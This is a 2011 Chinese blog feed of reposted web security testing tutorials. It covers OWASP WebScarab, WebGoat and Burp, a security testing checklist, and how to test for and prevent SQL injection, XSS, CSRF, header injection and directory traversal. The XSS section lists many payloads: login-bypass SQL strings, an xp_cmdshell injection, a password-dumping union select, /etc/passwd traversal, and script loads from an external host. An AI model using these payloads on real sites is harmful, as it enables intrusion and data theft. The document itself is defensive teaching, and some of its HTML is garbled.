2.http://yehg.net/lab/pr0js/training/webscarab.php

截图：

详情：http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

二、OWASP WebGoat Project
an online training environment for hands-on learning about application security
鬼仔注：也是WebScarab的那些演示中用的那套系统。

下载地址：Google code downloads

安装方法：
* Double-click on webgoat.bat - a Tomcat command window starts
* Browse tohttp://localhost/WebGoat/attack

用户手册：WebGoat User and Install Guide

演示&教程下载地址：http://yehg.net/lab/pr0js/training/webgoat.php

截图：

详情：http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

WebScarab

baikeViewInfo.expIndex="0";baikeViewInfo.subInfo["2460659"]={title:"WebScarab"};

　　这主要是一款代理软件或许麽有其他的工具能和OWASP的WebScarab如此丰富的功能相媲美了，如果非要列举一些有用的模块的话，那么他们包括HTTP代理，网络爬行、网络蜘蛛，会话ID分析，自动脚本接口，模糊测试工具，对所有流行的WEB格式的编码/解码，WEB服务描述语言和SOAP解析器等。WebScarab基于General Public License(GNU)版本协议。和Paros 一样是用JAVA编写的，因此安装它需要JRE.　　WebScarab的HTTP代理提供了预期的功能（包括HTTPS拦截，不过和PAROS一样有认证报警）。WebScarab也提供了一些花哨的功能，比如SSL客户认证支持，十六进制或URL编码参数的解码，内置的会话ID分析和一键式“完成该会话”以增加效率等。图1-8显示WebScarab 篡改隐藏的"Cost"字段，本章中在多处引用了该字段。就基本功能而言，WebScarab和PAROS差不多，但WebScarab为更懂技术的用户提供了更多的功能，并提供了对隐藏的底层更多的访问。但是，由于PAROS更简单，我们仍推荐学者在开始时使用它

大话人生 2011-10-28 06:02 发表评论

Burp说明

大话人生 — Tue, 15 Feb 2011 17:50:00 GMT

摘要: 什么是打嗝扫描仪？ Burp Scanner is a tool for performing automated discovery of security vulnerabilities in web applications.打嗝扫描仪是用于执行在Web应用程序的安全漏洞的自动发现工具。 It is designed to be used by penetration testers, an... 阅读全文

大话人生 2011-02-16 01:50 发表评论

（转）软件安全性测试

大话人生 — Sun, 13 Feb 2011 09:04:00 GMT

软件安全性测试包括程序、数据库安全性测试。根据系统安全指标不同测试策略也不同。

用户认证安全的测试要考虑问题：

1. 明确区分系统中不同用户权限

2. 系统中会不会出现用户冲突

3. 系统会不会因用户的权限的改变造成混乱

4. 用户登陆密码是否是可见、可复制

5. 是否可以通过绝对途径登陆系统（拷贝用户登陆后的链接直接进入系统）

6. 用户推出系统后是否删除了所有鉴权标记，是否可以使用后退键而不通过输入口令进入系统

系统网络安全的测试要考虑问题

1. 测试采取的防护措施是否正确装配好，有关系统的补丁是否打上

2. 模拟非授权攻击，看防护系统是否坚固

3. 采用成熟的网络漏洞检查工具检查系统相关漏洞（即用最专业的黑客攻击工具攻击试一下，现在最常用的是NBSI系列和IPhacker IP）

4. 采用各种木马检查工具检查系统木马情况

5. 采用各种防外挂工具检查系统各组程序的客外挂漏洞

数据库安全考虑问题：

1. 系统数据是否机密（比如对银行系统，这一点就特别重要，一般的网站就没有太高要求）

2. 系统数据的完整性（我刚刚结束的企业实名核查服务系统中就曾存在数据的不完整，对于这个系统的功能实现有了障碍）

3. 系统数据可管理性

4. 系统数据的独立性

5. 系统数据可备份和恢复能力（数据备份是否完整，可否恢复，恢复是否可以完整）

大话人生 2011-02-13 17:04 发表评论

（转）安全性测试系列之一-网站安全性问题

大话人生 — Sun, 13 Feb 2011 08:57:00 GMT

虽然我的工作经验有四年,但是算是测试新手,在测试行业混也只有半年的时间,现在在一家外包公司做QA,该公司的业务都是基于B/S结构的,我的测试工作也主要是WEB测试.

其实我知道的关于WEB测试的东西也是纯理论性的,除了要进行功能测试外,还要进行界面测试,兼容性测试,性能测试,安全性测试.

在项目初期我已经把安全性测试纳入到测试的计划中了,但是苦于不知道如何下手,一直也没有开展这项测试,直到有一天,我们的公司的一位程序员偶然从GOOGLE中搜索到了一个网站,这个网站报告了我们现有程序中存在着XSS漏洞.我们公司的人基本上都不了解安全性测试,出了这个事件后,安全性测试也被正式提到了测试的工作日程中.

我通过查找资料,总结了一下安全性测试的内容,内容并不完整,有待继续补充.

我们将会从三个方面来讨论安全性测试,首先是安全性问题都包括哪些?其次是如何进行安全性测试?最后是安全性测试工具.

今天主要总结安全性问题都包括哪些.

1.DJANGO的一篇文档中介绍了关于安全性问题包括的内容:http://www.djangobook.com/en/1.0/chapter19

这篇文章的主题思想是:Never — under any circumstances — trust data from the browser.(从不要相信来自浏览器端的数据,因为你永远不可能知道在浏览器进行数据操作是你的用户还是正在寻找攻击漏洞的黑客)

2.安全性问题包括的内容:

SQL Injection:(SQL注入)

SQL injectionis a common exploit in which an attacker alters Web page parameters (such asGET/POSTdata or URLs) to insert arbitrary SQL snippets that a naive Web application executes in its database directly.

SQL注入是最常见的攻击方式,它的主要原理是:攻击者通过改变WEB页的参数(如GET/POST数据或是URLS)直接将SQL片断提交到服务器,并在服务器端执行的过程.

Cross-Site scrīpting (XSS):(跨站点脚本攻击)

Cross-site scrīpting(XSS), is found in Web applications that fail to escape user-submitted content properly before rendering it into HTML. This allows an attacker to insert arbitrary HTML into your Web page, usually in the form oftags.

Attackers often use XSS attacks to steal cookie and session information, or to trick users into giving private information to the wrong person (akaphishing).

XSS定义:是由于WEB程序没有对用户提交的HTML内容进行适当的转译,这样攻击者就可能在你的WEB页中插入一些HTML语句,这些语句通过以TAG的形式出现.

攻击者通常使用XSS攻击来窃取COOKIES 和 SESSION信息,或是欺骗用户将隐私信息暴露给错误对象(又称为钓鱼)

Cross-Site Request Forgery:(指跨站点请求伪造)

Cross-site request forgery (CSRF) happens when a malicious Web site tricks users into unknowingly loading a URL from a site at which they’re already authenticated — hence taking advantage of their authenticated status.

CSRF:通过在 WEB页或在给用户发邮件中插入恶意代码(通常是链接或是脚本),比如发送一个带有银行取款链接的图片或脚本(通常是HTML或JAVAscrīpt), 当用户访问这个图片时，此时页面加载图片过程会隐密地链接到一个远程页面，这个页面会自动向目标站点发起请求,如果这个目标站点的仍保留这个用户的 COOKIE信息,并且这个COOKIER未过期,那么攻击者就可以在用户不知情的情况以用户的身份登录银行或执行取款操作.

CSRF的特性就是利用网站对用户标识的信任,欺骗用户的浏览器发送HTTP请求给目标站点

Session Forging/Hijacking:(Session篡改)

Email Header Injection:(邮件标题注入)

SQL injection’s less well-known sibling,email header injection, hijacks Web forms that send email. An attacker can use this technique to send spam via your mail server. Any form that constructs email headers from Web form data is vulnerable to this kind of attack.

email header injection 与 SQL注入的原理类似,它的原理是:通过在EMAIL的SUBJECT中输入一些特殊语句如"\n",攻者者可以利用这个缺陷通过你的邮件服务器发送垃圾邮件.

Directory Traversal:(目录遍历)

Directory traversalis another injection-style attack, wherein a malicious user tricks filesystem code into reading and/or writing files that the Web server shouldn’t have access to.

目录遍历是另一种注入类型的攻击,攻击者欺骗文件系统读或写服务器不允许操作的文件.

Exposed Error Messages:(曝露错误信息)

During development, being able to see tracebacks and errors live in your browser is extremely useful.However, if these errors get displayed once the site goes live, they can reveal aspects of your code or configuration that could aid an attacker.

开发过程中,如果可以看到错误或历史记录对FIX问题是非常有用的.但是如果这些错误信息被攻击者所获取,那么攻击者就可以通过错误信息而了解到应用程序代码或是数据库或是配置等方面的内容,并为期其行攻击提供有力的帮助.

大话人生 2011-02-13 16:57 发表评论

（转）安全性测试系列之二-如何对网站进行安全性测试?

大话人生 — Sun, 13 Feb 2011 08:51:00 GMT

DJANGO的那篇文档中只介绍了网络中常见的安全问题以及如何从程序的角度去防御它们,并未介绍如何针对安全问题进行测试.本章的主要内容是针对上章中提及的安全性问题介绍如何进行安全性测试.

1.SQL Injection(SQL 注入)

(1)如何进行SQL注入测试?

首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.

注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在的标签中间的每一个参数传递都有可能被利用.

<div>

<a href="/search/" class="fl">Gamefindera>

div>

form>

注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10

其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

注1：根据实际情况,SQL注入请求可以使用以下语句:

' or 1=1- -

" or 1=1- -

or 1=1- -

' or 'a'='a

" or "a"="a

') or ('a'='a
注2：为什么是OR，以及',――是特殊的字符呢？

例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select * from user where username='username' and pwd='password'

如输入http://duck/index.asp?username=admin' or 1='1&pwd=11，SQL语句会变成以下：sql=select * from user where username='admin' or 1='1' and password='11'

'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.

接下来是OR查询条件,OR是一个逻辑运算符，在判断多个条件的时候，只要一个成立，则等式就成立，后面的AND就不再时行判断了，也就是说我们绕过了密码验证，我们只用用户名就可以登录.

如输入http://duck/index.asp?username=admin'--&pwd=11，SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行
接下来是"--"查询条件,“--”是忽略或注释,上述通过连接符注释掉后面的密码验证(注:对ACCESS数据库无效).

最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.

(2)如何预防SQL注入?

从应用程序的角度来讲,我们要做以下三项工作:

转义敏感字符及字符串(SQL的敏感字符包括“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”,和”空格”).
屏蔽出错信息：阻止攻击者知道攻击的结果
在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:

需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.

当然在执行测试的过程中,我们也需求对上述两项内容进行测试.

2.Cross-site scritping(XSS):(跨站点脚本攻击)

(1)如何进行XSS测试?

首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试：

alert(document.cookie)

注:其它的XSS测试语句

>alert(document.cookie)
='>alert(document.cookie)
alert(document.cookie)
alert(vulnerable)
%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
alert('XSS')

%0a%0aalert(\"Vulnerable\").jsp
%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
%3f.jsp
%3f.jsp
<scrīpt>alert('Vulnerable');</scrīpt>
alert('Vulnerable')
?sql_debug=1
a%5c.aspx
a.jsp/alert('Vulnerable')
a/
a?alert('Vulnerable')
">alert('Vulnerable')
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"=&{()}

"";' > out

a=/XSS/alert(a.source)

getURL("javascrīpt:alert('XSS')")
a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);

"> function a(){alert('XSS');}<"

" SRC="http://xss.ha.ckers.org/a.js">

document.write("PT SRC="http://xss.ha.ckers.org/a.js">
link

最后,当用户浏览时便会弹出一个警告框，内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚本，当用户浏览此帖时，cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。

(2)如何预防XSS漏洞?
从应用程序的角度来讲,要进行以下几项预防:

对Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.
在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:

在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证，着重验证是否对HTML或脚本代码进行了转义。
执行测试过程中也应对上述项进行检查。

3.CSRF:(跨站点伪造请求)
    CSRF尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。
    XSS是利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
    XSS也好，CSRF也好，它的目的在于窃取用户的信息，如SESSION 和 COOKIES（关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG：http://www.51testing.com/?49689/action_viewspace_itemid_74885.html），
   (1)如何进行CSRF测试？
    关于这个主题本人也正在研究，目前主要通过安全性测试工具来进行检查。
   (2)如何预防CSRF漏洞？

4.Email Header Injection(邮件标头注入)
Email Header Injection：如果表单用于发送email,表单中可能包括“subject”输入项（邮件标题），我们要验证subject中应能escape掉“\n”标识。

因为“\n”是新行，如果在subject中输入“hello\ncc:spamvictim@example.com”，可能会形成以下

Subject: hello

cc: spamvictim@example.com

如果允许用户使用这样的subject，那他可能会给利用这个缺陷通过我们的平台给其它用户发送垃圾邮件。

5.Directory Traversal(目录遍历)
（1）如何进行目录遍历测试？

目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
测试方法：在URL中输入一定数量的“../”和“./”，验证系统是否ESCAPE掉了这些目录跳转符。

（2）如何预防目录遍历？

限制Web应用在服务器上的运行

进行严格的输入验证，控制用户输入非法路径

6.exposed error messages(错误信息)
（1）如何进行测试？

首先找到一些错误页面，比如404,或500页面。
验证在调试未开通过的情况下，是否给出了友好的错误提示信息比如“你访问的页面不存在”等，而并非曝露一些程序代码。

（2）如何预防？

测试人员在进行需求检查时，应该对出错信息进行详细查，比如是否给出了出错信息，是否给出了正确的出错信息。

大话人生 2011-02-13 16:51 发表评论